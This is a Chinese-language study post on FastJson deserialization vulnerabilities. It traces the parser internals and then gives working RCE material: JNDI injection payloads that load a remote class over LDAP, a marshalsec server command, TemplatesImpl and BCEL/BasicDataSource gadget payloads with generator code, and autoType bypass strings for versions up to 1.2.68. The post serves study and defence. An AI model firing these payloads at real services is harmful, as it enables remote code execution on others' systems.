Java / Web / 反序列化 · 2022年1月23日 0

FastJson 反序列化学习

FastJson简介

Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。

序列化

使用JSON.toJSONString和进行序列化操作,首先需要定义一个Student类

public class Student {
   public int age;
   private String name;
​
   public void setName(String name){
       this.name = name;
  }
   public String getName(){
       return this.name;
  }
}

可以进行序列化操作:

Student student = new Student();
student.setName("EastJun");
String a = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(a);

其中指定SerializerFeature.WriteClassName参数可以在序列化字符串中加入类的ClassName,上面的代码输出结果如下:

{"@type":"Student","age":0,"name":"EastJun"}

反序列化

使用JSON.parseObjectJSON.parse可以进行反序列化操作,使用@type可以反序列化任意类:

JSONObject jobj = JSON.parseObject("{\"@type\":\"Student\",\"age\":10,\"name\":\"EastJun\"}");
System.out.println(jobj);

执行上面这段代码可以将字符串进行反序列化,其中使用@type指定反序列化的ClassName。

在反序列化时会调用类中成员变量的set和get方法,例如上面的Student类定义了一个public和一个private类型的成员变量,对于name这个private变量的设置是调用setName方法实现的,而对于public的变量则直接进行赋,而类中如果存在setAge方法则在反序列化时会调用setAge方法对age进行赋值。

反序列化流程

FastJson在使用parseObject进行反序列化时将传入的字符串交给parse函数进行处理,然后将处理结果转为JSONObject

JSON.parse函数中首先创建一个JSONParser,然后调用parser.parse()进行反序列化

DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();

创建JSONParser时在DefaultJSONParser的构造方法中会获取到传入的第一个字符串为{,将token值设置为12:

if (ch == '{') {
   lexer.next();
  ((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
   lexer.next();
  ((JSONLexerBase)lexer).token = 14;
} else {
   lexer.nextToken();
}

然后在parser.parse()函数中根据token的值为12执行这一段代码:

JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);

parseObject函数中获取到JSON的key值,如果key值为@type则先使用TypeUtils.loadClass对类进行加载,然后进行反序列化:

1

TypeUtils.loadClass函数中的代码如下:

image-20220121175539612

这里有两个if语句,一个是判断[字符串返回数组,另一个if语句用于递归地去除开头的L和结尾的;然后返回加载的Class

然后进入到getDeserializer()方法获取Deserializer进行反序列化:

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);

getDeserializer()方法中使用denyList对可以进行反序列化的类进行限制:

image-20220121180432667

在FastJson1.2.24版本的denyList中只有一个java.lang.Thread类。

最后到达deserializer.deserialze方法中进行对类反序列化,其中调用了get和set方法对成员变量进行赋值

JdbcRowSetImpl利用链

使用JdbcRowSetImpl可以进行JNDI注入:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/Exploit", "autoCommit":true}

将远程恶意类放在8888端口的http服务中:

public class Exploit{
   public Exploit() throws Exception {
       Process p = Runtime.getRuntime().exec(new String[]{"calc"});
  }
}

启动ldap服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#Exploit 9999

然后在反序列化后首先调用setDataSourceName()方法设置dataSource,然后调用setAutoCommit()方法设置autoCommit

setAutoCommit()方法中调用connect()函数时有这一段代码可以进行JNDI注入:

DataSource ds = (DataSource)ctx.lookup
  (getDataSourceName());

JNDI注入的原理之前写过:JNDI注入

TemplatesImpl利用链

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中的成员变量都是private属性的,而,所以这条链需要在parse时设置Feature.SupportNonPublicField,然后在反序列化时FastJson可以进行反射调用给private的成员变量赋值

首先需要编译一个Evil类,然后将class文件转为base64形式

public class Evil extends AbstractTranslet {
   public Evil() throws Exception {
       Runtime.getRuntime().exec(new String[]{"calc"});
  }
   @Override
   public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
  }
   public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
  }
}

然后传入JSON字符串:

{
    "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes":["payload here"],
    "_name":"a",
    "_tfactory":{},
    "_outputProperties":{}
}

可以在Java中写这一段代码生成payload:

JavaClass javaClass = Repository.lookupClass(Evil.class);
String b64 = new String(Base64.getEncoder().encode(javaClass.getBytes()));
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+b64+"\"],\"_name\":\"a\",\"_tfactory\":{},\"_outputProperties\":{}}";
System.out.println(payload);
JSONObject jobj = JSON.parseObject(payload, Feature.SupportNonPublicField);

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类的内部有定义一个类加载器TransletClassLoader可以用加载字节码:

static final class TransletClassLoader extends ClassLoader {
   private final Map<String,Class> _loadedExternalExtensionFunctions;
   TransletClassLoader(ClassLoader parent) {
       super(parent);
       _loadedExternalExtensionFunctions = null;
  }
   TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
       super(parent);
       _loadedExternalExtensionFunctions = mapEF;
  }
   public Class<?> loadClass(String name) throws ClassNotFoundException {
       Class<?> ret = null;
       // The _loadedExternalExtensionFunctions will be empty when the
       // SecurityManager is not set and the FSP is turned off
       if (_loadedExternalExtensionFunctions != null) {
           ret = _loadedExternalExtensionFunctions.get(name);
      }
       if (ret == null) {
           ret = super.loadClass(name);
      }
       return ret;
  }
   /**
   * Access to final protected superclass member from outer class.
   */
   Class defineClass(final byte[] b) {
       return defineClass(null, b, 0, b.length);
  }
}

在FastJson反序列化TemplatesImpl后会调用getOutputProperties()方法,这个方法最终调用到getTransletInstance方法时会使用TransletClassLoader加载_bytecodes中的字节码,然后判断父类是否为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,如果不是就会抛出异常:

image-20220121230734198

最后调用newInstance()方法对类进行实例化执行Evil类的构造方法进行RCE

BasicDataSource利用链

这条链使用了org.apache.tomcat.dbcp.dbcp2.BasicDataSource,首先需要引入Tomcat相关的包:

<dependency>
   <groupId>org.apache.tomcat</groupId>
   <artifactId>tomcat-dbcp</artifactId>
   <version>10.0.16</version>
</dependency>

payload如下:

{
  {
       "x":{
               "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
               "driverClassLoader": {
                   "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
              },"driverClassName": "$$BCEL$$$l$8b$I$A$..."
      }
  }: "x"
}

在分析payload之前还得看看FastJson的特性:

首先在这里写一个Student类:

public class Student {
   public String getTest(){
       return "abcd";
  }
}

在调用JSON.toJSONString()方法进行反序列化时即是这里没有test成员变量也能调用这个getTets()方法输出一个test参数:

{"test":"abcd"}

还有一个特性是在反序列化时如果key值为JSONObject,会调用JSONObject的toString()方法,而调用JSONObject的toString()方法时存在对getter方法的调用:

{{"x":{"@type":"Student"}}:"x"}

例如上面一段JSON字符串进行反序列化时同样会调用getTest()方法

在上面这条链中FastJson对BasicDataSource进行了反序列化,然后调用了getConnection()方法,再经过一系列调用最后到了org.apache.tomcat.dbcp.dbcp2.DriverFactory类中的createDriver()方法,然后执行到Class.forName()对类进行加载并执行static代码块: image-20220122030741654

这里在使用Class.forName加载类时第三个参数为我们指定的类加载器:

driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);

然后这里使用了com.sun.org.apache.bcel.internal.util.ClassLoader作为ClassLoader,它可以从需要加载的类名中提取字节码进行加载:

image-20220122032120284

这个类加载器检测了类名中是否包含$$BCEL$$,如果包含则将后面的字符串提取出来进行解码作为字节码进行加载。

payload在Java中可以这样写:

JavaClass javaClass = Repository.lookupClass(Evil.class);
String code = Utility.encode(javaClass.getBytes(), true);
String payload = "{\n" +
   "   {\n" +
   "       \"x\":{\n" +
   "               \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
   "               \"driverClassLoader\": {\n" +
   "                   \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
   "               },\"driverClassName\": \"$$BCEL$$"+code+"\"\n" +
   "       }\n" +
   "   }: \"x\"\n" +
   "}";
JSONObject jobj = JSON.parseObject(payload);

然后在Evil类的static代码块中写入恶意代码

public class Evil {
   static {
       try{
           Runtime.getRuntime().exec(new String[]{"calc"});
      }catch (Exception ignore){}
  }
}

最终可以进行RCE:

image-20220122033611323

修复与Bypass

ver>=1.2.25&ver<=1.2.41

在1.2.25版本以后默认关闭AutoType,还加入了checkAutoType()使用黑名单+白名单对类进行检查,在开启黑名单时先使用白名单检测,再使用黑名单检测,而对黑名单的检测如下

for(mask = 0; mask < this.denyList.length; ++mask) {
   accept = this.denyList[mask];
   if (className.startsWith(accept) &&
       TypeUtils.getClassFromMapping(typeName) == null) {
       throw new JSONException("autoType is not support. " + typeName);
  }
}
//somecode here
if (clazz == null) {
   clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}

这里使用startsWith检查黑名单,然后过了黑名单之后使用TypeUtils.loadClass()对类进行加载,这个方法在前面有分析过,会递归地删除开头的L和结尾的;所以加入L;即可绕过黑名单检测

payload:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:9999/Exploit", "autoCommit":true}

ver=1.2.42

这个版本将黑名单换为十进制了,而且在checkAutoType时首先去除了L;

image-20220122144950937

可以双写进行绕过:

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:9999/Exploit", "autoCommit":true}

ver=1.2.43

这个版本修复了多个L的情况,但是TypeUtils.loadClass()中还有对[进行特殊处理,所以可以用于绕过黑名单:

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:9999/Exploit", "autoCommit":true]}}

ver<=1.2.47

1.2.47及以下的版本都可以在不开启AutoType时反序列化

payload:

{
   "a": {
       "@type": "java.lang.Class",
       "val": "com.sun.rowset.JdbcRowSetImpl"
  },
   "b": {
       "@type": "com.sun.rowset.JdbcRowSetImpl",
       "dataSourceName": "ldap://127.0.0.1:9999/Exploit",
       "autoCommit": true
  }
}

在这里首先进行反序列化的是java.lang.Class类,对该类进行反序列时通过getDeserializer()方法获取到的DeserializerMiscCodec,然后会调用调用deserializer.deserialze()方法,然后FastJson会获取val的值并调用TypeUtils.loadClass进行加载

image-20220122170826562

然后FastJson会调用contextClassLoader.loadClass()方法对类进行加载,然后调用mappings.put()方法将恶意类放到mappings中:

image-20220122171819607

接着在反序列化com.sun.rowset.JdbcRowSetImpl时在checkAutoType()方法时因为没有开启AutoType所以跳过了黑名单的判断,然后调用TypeUtils.getClassFromMapping()方法直接从mappings中获取类并返回。

image-20220122172129015

后面就是利用JdbcRowSetImpl类进行JNDI注入。

1.2.48版本对的修复方式是对TypeUtils.loadClass增加了cache参数,默认为false

image-20220122172653910

只有在cache参数为true时才会将类加入mappings中:

image-20220122172758664

ver<=1.2.68

一直到这个版本都可以绕过AutoType进行反序列化,复现这个漏洞需要先在本地写一个可以利用的恶意类

package vul;
​
public class VulAutoCloseable implements AutoCloseable {
   public VulAutoCloseable(String cmd) {
       try {
           Runtime.getRuntime().exec(cmd);
      } catch (Exception e) {
           e.printStackTrace();
      }
  }
​
   @Override
   public void close() throws Exception {
​
  }
}

payload:

{"@type":"java.lang.AutoCloseable","@type":"Evil","cmd":"calc"}

在传入上面这样的JSON字符串时可以反序列化这个类并执行命令。

可以绕过AutoType的原理是在checkAutoType()方法中可以指定expectClass,在指定expectClass后只要加载的类不为这几个特殊的类都可以设置expectClassFlag为true:

if (expectClass == null) {
   expectClassFlag = false;
} else if (expectClass != Object.class
          && expectClass != Serializable.class
          && expectClass != Cloneable.class
          && expectClass != Closeable.class
          && expectClass != EventListener.class
          && expectClass != Iterable.class
          && expectClass != Collection.class) {
   expectClassFlag = true;
} else {
   expectClassFlag = false;
}

然后就能绕过这一段check进入TypeUtils.loadClass对类进行加载

image-20220122224733192

然后可以找到在ThrowableDeserializerJavaBeanDeserializer中在调用checkAutoType()方法时有指定expectClass

image-20220122231056399

在前面调用getDeserializer()方法获取Deserializer时有这样一些判断,检查是否是这几个类的子类,然后创建对应的Deserializer

image-20220122232338039

然后在调用JavaBeanDeserializerdeserialze()方法时可以绕过checkAutoType()的检查反序列化实现了AutoCloseable接口的类。

不过实际上这只是绕过了AutoType的检查,实际利用还需要gadget,在BlackHat2021议题中有公布一些已知的gadget,包括mysql SSRF/RCE链和commons-io文件读取链:https://paper.seebug.org/1698/

Referer

Java动态类加载,当FastJson遇到内网

FastJson 反序列化学习

Fastjson三种利用链对比分析